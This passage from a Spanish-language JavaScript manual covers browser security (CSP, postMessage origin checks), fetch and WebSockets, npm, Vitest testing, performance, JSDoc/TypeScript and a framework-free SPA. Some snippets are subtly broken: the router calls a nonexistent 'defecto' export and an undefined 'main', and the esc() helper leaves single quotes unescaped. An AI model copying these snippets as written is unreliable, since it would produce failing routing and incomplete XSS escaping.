  • ¿HTML rico imprescindible? Sanitiza con DOMPurify antes de inyectar.
  • El backend también escapa (lo practicaste con PHP cap. 34) — defensa en profundidad.

CSP: el cinturón que limita el daño

Content-Security-Policy se declara como header HTTP o meta en el head (<meta http-equiv="Content-Security-Policy" content="...">). La política recomendada para empezar:

{
  "default-src": "'self'",
  "script-src": "'self'",
  "img-src": "'self' data:"
}

Con script-src 'self', un payload XSS inline NO se ejecuta: el navegador lo bloquea aunque tu JS tenga una falla. Empieza report-only para medir y luego activa. Costo real: adiós scripts inline — usa archivos externos (ya lo hacemos).

postMessage entre ventanas: verificar el origen

// receptor: SIEMPRE comprobar quien habla
window.addEventListener("message", (e) => {
  if (e.origin !== "https://pasarela.confiable.pe") return;   // rechazar extraños
  procesar(e.data);
});

// emisor: destino EXPLICITO, jamas "*"
iframe.contentWindow.postMessage({ monto: 129.9 }, "https://pasarela.confiable.pe");

Cadena de suministro npm (adelanto cap. 37)

  • Un paquete comprometido se ejecuta CON TUS PERMISOS en cada visitante.
  • Higiene: lockfile commiteado, npm audit en CI, dependencias mínimas, versiones exactas para paquetes pequeños no mantenidos.

Puntos clave

  • XSS: almacenado/reflejado/DOM — mismo antídoto: nunca innerHTML con input.
  • CSP 'self': el XSS deja de ejecutarse incluso con bug presente.
  • postMessage sin verificar origin = puerta abierta a cualquiera.
  • Cliente filtra por UX; servidor decide por seguridad.

36 · Red: fetch, AJAX y WebSockets

Intermedio ~15 min

El cliente HTTP nativo completo: errores HTTP reales, cancelación y tiempo real.

GET/POST JSON con manejo honesto de errores

async function pedirJSON(url, opciones = {}) {
  const r = await fetch(url, opciones);
  if (!r.ok) {
    // fetch NO lanza por 404/500: hay que revisar r.ok SIEMPRE
    const cuerpo = await r.text().catch(() => "");
    throw new Error(`HTTP ${r.status} ${r.statusText}: ${cuerpo.slice(0, 120)}`);
  }
  return r.json();
}

const producto = await pedirJSON("/api/productos/CAF-01");

await fetch("/api/pedidos", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ sku: "CAF-01", cantidad: 2 }),
});

AbortController: timeout y cancelación

// timeout manual en 8s
function conTimeout(url, ms = 8000) {
  const control = new AbortController();
  const t = setTimeout(() => control.abort(), ms);
  return fetch(url, { signal: control.signal }).finally(() => clearTimeout(t));
}

// cancelar al salir de una pantalla (React/Vue lo exigen para evitar setState fantasma)
let controlActual;
async function buscar(q) {
  controlActual?.abort();                    // la busqueda anterior ya no interesa
  controlActual = new AbortController();
  try {
    return await pedirJSON(`/api/buscar?q=${encodeURIComponent(q)}`,
                           { signal: controlActual.signal });
  } catch (e) {
    if (e.name === "AbortError") return [];   // cancelada: no es error
    throw e;
  }
}

Subir archivos y ver el progreso

// envio estandar multipart
const fd = new FormData(form);
fd.append("destino", "facturas");
await fetch("/api/upload", { method: "POST", body: fd });   // sin Content-Type: el navegador pone el boundary

// progreso real leyendo el stream de respuesta
const r = await fetch("/api/reportes/grande.pdf");
const total = +r.headers.get("Content-Length");
let leido = 0;
for await (const chunk of r.body) {
  leido += chunk.length;
  barra.value = leido / total;      // 0..1 — feedback honesto
}

WebSockets: bidireccional

const ws = new WebSocket("wss://tienda.ejemplo.pe/stock");

ws.onopen = () => ws.send(JSON.stringify({ tipo: "suscribir", skus: ["CAF-01"] }));
ws.onmessage = (e) => {
  const msg = JSON.parse(e.data);       // e.data llega como string (o Blob)
  if (msg.tipo === "stock") actualizarBadge(msg.sku, msg.unidades);
};
ws.onclose = () => setTimeout(reconectar, 2000);   // reconexion simple

function avisarVenta(sku) { ws.send(JSON.stringify({ tipo: "venta", sku })); }
NecesidadHerramienta
Petición-respuesta clásicafetch
Servidor empuja eventos simplesfetch + polling o SSE
Conversación constante (chat, stock vivo)WebSocket

AJAX hoy: GET con parámetros (URLSearchParams)

Lo que antes se llamaba AJAX (pedidos sin recargar la página) hoy es simplemente fetch. El caso más común: pasar parámetros por query string sin romper nada.

// manual y propenso a errores:
const q1 = "/api/productos?busca=" + encodeURIComponent(texto) +
           "&pag=" + pag;                       // los & se escapan a mano...

// URLSearchParams lo hace todo por ti:
const params = new URLSearchParams({
  busca: texto,          // codifica espacios, ñ, &, acentos...
  pag: 2,
  orden: "precio",
});
const url = `/api/productos?${params}`;
// → /api/productos?busca=caf%C3%A9&pag=2&orden=precio
const r = await fetch(url);
if (!r.ok) throw new Error(`HTTP ${r.status}`);
const { datos, total } = await r.json();

POST de formularios clásicos (urlencoded)

Cuando el backend espera formularios tradicionales (en PHP, $_POST), envía application/x-www-form-urlencoded: se construye desde un FormData.

form.addEventListener("submit", async (e) => {
  e.preventDefault();
  // FormData recoje todos los campos con name del formulario
  const cuerpo = new URLSearchParams(new FormData(form));
  const r = await fetch("/api/contacto", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: cuerpo,                    // nombre=Percy&correo=percy%403soft.pe
  });
  aviso.textContent = r.ok ? "Enviado" : `Error ${r.status}`;
});
Envías…Content-TypeLo lee PHP con
URLSearchParams / query string(GET o urlencoded)$_GET / $_POST
FormData (sin cabecera manual)multipart/form-data$_POST + $_FILES
JSON.stringify(objeto)application/jsonjson_decode(file_get_contents("php://input"))

Tu API REST del curso PHP usa JSON; un formulario clásico de contacto puede usar urlencoded: mismo fetch, distinto sobre. XMLHttpRequest aún aparece en código legado, pero para código nuevo fetch cubre todo.

Puntos clave

  • r.ok se comprueba siempre: 404 NO lanza por sí solo.
  • AbortController = timeout + cancelación de búsquedas obsoletas.
  • FormData sin Content-Type manual; streams para progreso.
  • WebSocket solo cuando hay ida y vuelta continua.

37 · npm y package.json

Intermedio ~14 min

El manifiesto del proyecto, semver sin misterios, scripts con superpoderes y alternativas modernas.

$ cd js-curso
$ npm init -y                    # genera package.json con defaults
$ npm install vitest             # produccion (por defecto)
$ npm install -D prettier        # desarrollo (-D = devDependency)

package.json anotado

{
  "name": "js-curso",
  "version": "1.0.0",
  "type": "module",
  "scripts": {
    "test": "vitest run",
    "test:watch": "vitest",
    "format": "prettier . --write"
  },
  "dependencies": {
    "idb": "^8.0.0"
  },
  "devDependencies": {
    "vitest": "^3.0.0"
  }
}

Semver: qué significa ese ^

RangoPermiteCuándo usarlo
1.4.2solo esa versión exactapaquetes críticos/pequeños sin mantenimiento
~1.4.2parches (1.4.x)prudencia media
^1.4.2minor compatibles (1.x.y)el default de npm: razonable
* / latestcualquieranunca en producción

El lockfile (package-lock.json) congela el árbol EXACTO instalado: se commitea siempre — es lo que hace tus builds reproducibles.

scripts: atajos con hooks

$ npm test                 # ejecuta scripts.test
$ npm run format           # cualquier otro con run

# hooks automaticos: preX corre antes de X
#   "prebuild": "node limpiar.mjs"   → npm run build lo ejecuta primero

npx: ejecutar sin instalar global

$ npx serve .              # servidor estatico puntual (lo usamos desde el cap. 3)
$ npm audit                # reporte de vulnerabilidades conocidas (CI friendly)

pnpm y bun: el mismo contrato, motores nuevos

GestorFuerzaComando instalar
npmvienen con Node: cero fricciónnpm install
pnpmstore central: disco y velocidadpnpm i
bunruntime+gestor+test todo-en-uno, rapidísimobun install

Los tres leen package.json/semver: el proyecto no cambia, solo el motor. Este manual usa npm por universal.

Puntos clave

  • -D separa herramientas de desarrollo de dependencias reales.
  • ^ minor, ~ patch, exacto para paquetes delicados.
  • Lockfile commiteado = builds reproducibles.
  • npx ejecuta sin ensuciar globals; npm audit en CI siempre.

38 · Testing con Vitest

Intermedio ~15 min

Pruebas rápidas y ESM-nativas para las funciones que llevas construyendo desde el capítulo 6.

$ npm install -D vitest
$ npm pkg set scripts.test="vitest run"

Tu primer test: las puras son gratis

// src/dinero.js (del cap. 10)
export const conIgv = monto => Math.round(monto * 1.18 * 100) / 100;
// src/dinero.test.js — convencion: mismo nombre + .test
import { describe, it, expect } from "vitest";
import { conIgv } from "./dinero.js";

describe("conIgv", () => {
  it("aplica 18% y redondea a centimos", () => {
    expect(conIgv(100)).toBe(118);          // toBe: igualdad estricta
  });
  it("casos borde", () => {
    expect(conIgv(0)).toBe(0);
    expect(conIgv(12.05)).toBe(14.22);
  });
});
MatcherPara…
toBe / not.toBeprimitivos (===)
toEqualobjetos/arrays por contenido
toThrow(/regex/)que LANZA el error correcto
toBeCloseTo(n, 2)flotantes (dinero!)
toContain / lengthcolecciones

Asíncronas y errores

// parseSeguro devuelve tupla [error, datos] — facil de probar:
it("json invalido da error controlado", () => {
  const [err, datos] = parseSeguro("{mal}");
  expect(err).toBeInstanceOf(SyntaxError);
  expect(datos).toBeNull();
});

// promesas: solo usa await dentro del it
it("reintentar agota intentos", async () => {
  const falloSiempre = () => Promise.reject(new Error("caido"));
  await expect(reintentar(falloSiempre, 2)).rejects.toThrow("caido");
});

Mocks: aislar el mundo exterior

import { vi } from "vitest";

// espia sobre fetch global: NUNCA llamas a la red en unit tests
const fake = vi.fn().mockResolvedValue({
  ok: true,
  json: async () => ({ stock: 7 }),
});
vi.stubGlobal("fetch", fake);

await comprar("CAF-01");
expect(fake).toHaveBeenCalledWith("/api/stock/CAF-01");
expect(fake).toHaveBeenCalledTimes(1);

// temporales falsos: prueba tu retry sin esperar 800ms reales
vi.useFakeTimers();   // ... vi.advanceTimersByTime(800); vi.useRealTimers();

Cobertura y disciplina

$ npx vitest run --coverage      # % lineas/ramas cubiertas
$ npm test                        # en CI: rojo si algo rompe
  • Estructura AAA: Arrange (preparar) – Act (ejecutar) – Assert (verificar).
  • Puras al 100%; impuras (DOM/red) se prueban con mocks o en fase E2E.
  • Un bug encontrado = un test nuevo que lo documenta para siempre.

Puntos clave

  • Vitest: ESM nativo, API Jest-compatible, instantáneo.
  • Funciones puras = tests triviales; diseña para poderlas probar.
  • vi.stubGlobal/vi.fn aíslan red y tiempo.
  • La cobertura guía, no gobierna: persigue comportamiento crítico.

39 · Rendimiento: medir, luego optimizar

Avanzado ~14 min

Debounce y throttle bien elegidos, rAF para animar y el flujo de profiling honesto.

Ley primera: sin medición no hay optimización — solo superstición. Performance panel de DevTools graba la escena real; performance.now() cronometra código.

Debounce vs throttle: la pareja confundida

// DEBOUNCE: espera a que CALME — ideal para busquedas al teclear
function debounce(fn, ms = 300) {
  let t;
  return (...args) => {
    clearTimeout(t);
    t = setTimeout(() => fn(...args), ms);
  };
}
busqueda.addEventListener("input", debounce(e =>
  buscar(e.target.value), 400));       // 1 peticion tras dejar de escribir

// THROTTLE: ritmo maximo fijo — ideal para scroll/mousemove
function throttle(fn, ms = 100) {
  let pendiente = false;
  return (...args) => {
    if (pendiente) return;
    pendiente = true;
    setTimeout(() => { fn(...args); pendiente = false; }, ms);
  };
}
window.addEventListener("scroll", throttle(actualizarBarra, 100));
SituaciónHerramienta
Búsqueda mientras escribesdebounce 300–500ms
Redimensionar ventanadebounce
Scroll infinito / barra de progresothrottle o rAF
Juegos/animaciones continuasrAF directo

requestAnimationFrame: el reloj del pintor

// corre ANTES del proximo repaint (~60fps): sincronia perfecta
function animar(t) {
  actualizarFisica(t);
  dibujar();
  requestAnimationFrame(animar);      // se auto-reagenda
}
requestAnimationFrame(animar);
// setInterval para animaciones = tirones: ignora los ciclos de pintado

Flujo de profiling en 5 pasos

  1. Reproduce la lentitud grabando con Performance panel (CPU 4x para emular móvil).
  2. Halla el bloque rojo más ancho: script? layout? paint?
  3. Si es Script, el flame chart nombra la función exacta.
  4. Mucho Layout (morado) ⇒ cap. 32: thrashing o lotes sin fragment.
  5. Optimiza UNA cosa, vuelve a medir y commitea con números.

Core Web Vitals (lo que Google mide)

  • LCP: contenido principal < 2.5s — imágenes hero y fuentes.
  • INP: respuesta a interacciones < 200ms — tu event loop limpio (cap. 20).
  • CLS: estabilidad visual — reserva espacio de imágenes/anuncios.

Puntos clave

  • Medir antes de tocar; Performance panel es la verdad.
  • debounce espera calma; throttle impone ritmo máximo.
  • rAF para todo lo que se mueve en pantalla.
  • LCP/INP/CLS como termómetro externo de tu app.

40 · Tipado gradual: JSDoc y TypeScript

Avanzado ~14 min

Tipos sin build con JSDoc + @ts-check, y el momento exacto de migrar a TypeScript.

JSDoc: tipos en comentarios, cero herramientas

/**
 * Aplica el IGV peruano y redondea a centimos.
 * @param {number} monto - base imponible en soles
 * @returns {number} total con IGV
 */
export const conIgv = (monto) => Math.round(monto * 1.18 * 100) / 100;

/** @typedef {{ sku: string, nombre: string, precio: number }} Producto */

/**
 * @param {Producto[]} items
 * @param {(p: Producto) => boolean} criterio
 * @returns {Producto[]}
 */
export function filtrar(items, criterio) {
  return items.filter(criterio);
}

Añade la primera línea del archivo:

// @ts-check
// ... y VS Code marca errores de tipo SIN build, SIN config, YA.
  • Proyecto completo: "checkJs": true en jsconfig.json.
  • Ideal para scripts, bibliotecas pequeñas y proyectos que ya funcionan.

Genéricos ligeros con @template

/**
 * @template T
 * @param {Promise<T>} promesa
 * @returns {Promise<[Error|null, T|null]>}
 */
export async function seguro(promesa) {
  try { return [null, await promesa]; }
  catch (e) { return [e, null]; }
}
const [err, user] = await seguro(fetch("/api/yo").then(r => r.json()));
// err: Error | null — autocompletado correcto en ambos caminos

¿Cuándo saltar a TypeScript real?

SeñalJSDocTypeScript
Script o lib pequeña (< 500 líneas)✔ suficientesobrecosto
Equipo > 3 personas / rotación altajusto
Framework exige .tsx (React moderno)no aplica✔ obligatorio
Dominio complejo que evolucionadifícil de sostener✔ types como diseño
Sin pipeline de build deseado✔ ventaja claverequiere tsc/bundler

La migración mínima honesta

  1. npm i -D typescript + tsconfig.json con allowJs/checkJs true: TS revisa tu JS actual.
  2. Rename progresivo .js → .ts módulo por módulo (los test primero).
  3. strict:true desde el inicio: menos any = menos bugs reales.
  4. Los JSDoc existentes NO se pierden: TypeScript los entiende nativamente.

Puntos clave

  • @ts-check: 80% del beneficio de tipos con 0% de build.
  • typedef nombra formas reutilizables; @template generaliza.
  • TS cuando escala el equipo o lo exige el framework.
  • Migración incremental: checkJs hoy, renames mañana.

41 · Proyecto integrador: SPA sin framework

Avanzado ~20 min

Router propio con History API, store reactivo con Proxy y una API REST real: la del manual de PHP.

Aquí convergen 40 capítulos. Construiremos el frontend de la tienda cuyo backend construiste en PHP (php_01 cap. 41: Router con regex, PDO, OUTPUT INSERTED). Mismos endpoints, otro mundo.

Arquitectura en cinco archivos

web/
├── index.html          # un solo HTML: el resto son vistas
└── js/
    ├── api.js          # capa HTTP con AbortController
    ├── store.js        # estado global reactivo (Proxy)
    ├── router.js       # History API + regex params
    └── vistas/
        ├── lista.js
        └── detalle.js

api.js: HTTP con cancelación

// js/api.js
const BASE = import.meta.env?.DEV ? "http://localhost:8080" : "/api";

async function pedir(ruta, opciones = {}) {
  const r = await fetch(BASE + ruta, opciones);
  if (!r.ok) throw Object.assign(new Error(`HTTP ${r.status}`), { status: r.status });
  return r.status === 204 ? null : r.json();
}

export const api = {
  productos: (senal) => pedir("/productos", { signal: senal }),
  producto: (sku, senal) => pedir(`/productos/${encodeURIComponent(sku)}`, { signal: senal }),
  crear: (datos) =>
    pedir("/productos", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(datos),
    }),
};

store.js: estado reactivo con Proxy (cap. 17)

// js/store.js
const estado = new Proxy(
  { productos: [], actual: null, cargando: false },
  {
    set(objetivo, prop, valor) {
      objetivo[prop] = valor;
      document.dispatchEvent(new CustomEvent("store:cambio", {
        detail: { prop, valor },
      }));
      return true;
    },
  });

export const store = {
  get: () => estado,
  set: (prop, valor) => { estado[prop] = valor; },
  suscribir(fn) { document.addEventListener("store:cambio", fn); },
};

router.js: URLs bonitas con regex nombrados

// js/router.js — eco directo del Router PHP del manual anterior
const rutas = [
  { patron: /^\/$/, vista: () => import("./vistas/lista.js") },
  { patron: /^\/producto\/(?<sku>[\w-]+)$/, vista: () => import("./vistas/detalle.js") },
];

export async function enrutar() {
  const ruta = location.pathname;
  for (const r of rutas) {
    const m = ruta.match(r.patron);
    if (!m) continue;
    const modulo = await r.vista();               // code splitting gratis
    modulo.defecto(document.querySelector("main"), m.groups);
    return;
  }
  main.innerHTML = "<h2>404</h2>";
}

document.addEventListener("click", (e) => {
  const a = e.target.closest("a[data-link]");
  if (!a) return;
  e.preventDefault();                             // SPA: sin recarga
  history.pushState({}, "", a.href);
  enrutar();
});
addEventListener("popstate", enrutar);            // back/forward

Vista detalle: todo junto

// js/vistas/detalle.js
import { api } from "../api.js";
import { store } from "../store.js";

const esc = (t) => String(t).replace(/[&<>"']/g,
  c => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "'" }[c]));

export default async function defecto(main, { sku }) {
  try {
    const p = await api.producto(sku);
    main.innerHTML = `
      <article class="producto">
        <h2>${esc(p.nombre)}</h2>
        <p class="precio">S/ ${esc(p.precio)}</p>
        <a data-link href="/">← volver</a>
      </article>`;
  } catch (e) {
    if (e.status === 404) main.innerHTML = "<h2>No existe ese SKU</h2>";
    else throw e;
  }
}
CORS: si API y frontend viven en puertos distintos, el backend PHP debe responder Access-Control-Allow-Origin. En producción, mismo dominio: problema resuelto por arquitectura.

Puntos clave

  • Router propio = regex sobre location.pathname + pushState/popstate.
  • Store Proxy + CustomEvent: reactividad sin dependencias.
  • import() dinámico por ruta: cada página carga solo su código.
  • esc() antes de innerHTML: XSS cerrado también en la SPA.

42 · Rumbo a los frameworks

Meta ~12 min

Lo que ya sabes hacer a mano es exactamente lo que los frameworks automatizan. Ahora puedes elegir con criterio.

Equivalencias: tu SPA vs. el mundo real

Construiste (cap. 41)En ReactEn Vue
router.js con regexReact RouterVue Router
store.js con Proxy + CustomEventZustand / ReduxPinia
vistas/*.js con innerHTMLcomponentes JSXSFC .vue
esc() manual{llaves} escapan solas{{bigotes}} escapan solas
import() dinámico por rutaReact.lazydefineAsyncComponent
addEventListener en cada renderdeclarativo (JSX)declarativo (@click)

Cómo se diferencian de verdad

  • React: re-renderiza componentes y compara árboles (Virtual DOM). Ecosistema gigante, mercado laboral también.
  • Vue: reactividad fina por proxies (¡como tu store.js!). Curva amable, documentación excelente.
  • Svelte: compila a JS imperativo sin runtime. Menos ecosistema, código mínimo.

Criterios de elección (los honestos)

  1. El trabajo: qué piden las ofertas de tu ciudad — hoy suele ser React.
  2. El equipo: framework = convención compartida; vale más que tus preferencias.
  3. El proyecto: panel interno simple → quizá nada de framework; producto vivo grande → sí.
  4. Nunca por moda: cada migración cuesta meses reales.

Tu ruta recomendada desde aquí

  1. Rewritea la SPA del cap. 41 en UN framework (solo uno) midiendo qué desaparece.
  2. Añade TypeScript con strict (cap. 40) al mismo proyecto.
  3. Cubre el store y api.js con Vitest (cap. 38): red + mocks.
  4. Sube todo con la API PHP ya construida: full-stack completo tuyo.
Manual completado. Closures, prototipos, event loop, módulos, Proxy, iteración asíncrona, Node, seguridad, testing y una SPA integrada con un backend real. Los frameworks ya no son magia: son azúcar sobre lo que dominas.

Checklist final de dominio

  • Explicas hoisting/closures/this sin apuntes (Partes I–II).
  • Diseñas con prototipos y clases sabiendo cuándo cada una (III).
  • Depuras promesas, generadores y streams con confianza (IV–V).
  • Escribes CLIs y servicios Node con fs/process robustos (VI).
  • El navegador te obedece: DOM, eventos, fetch abortable (VII).
  • Proyecto profesional: npm, tests, métricas y tipos (VIII).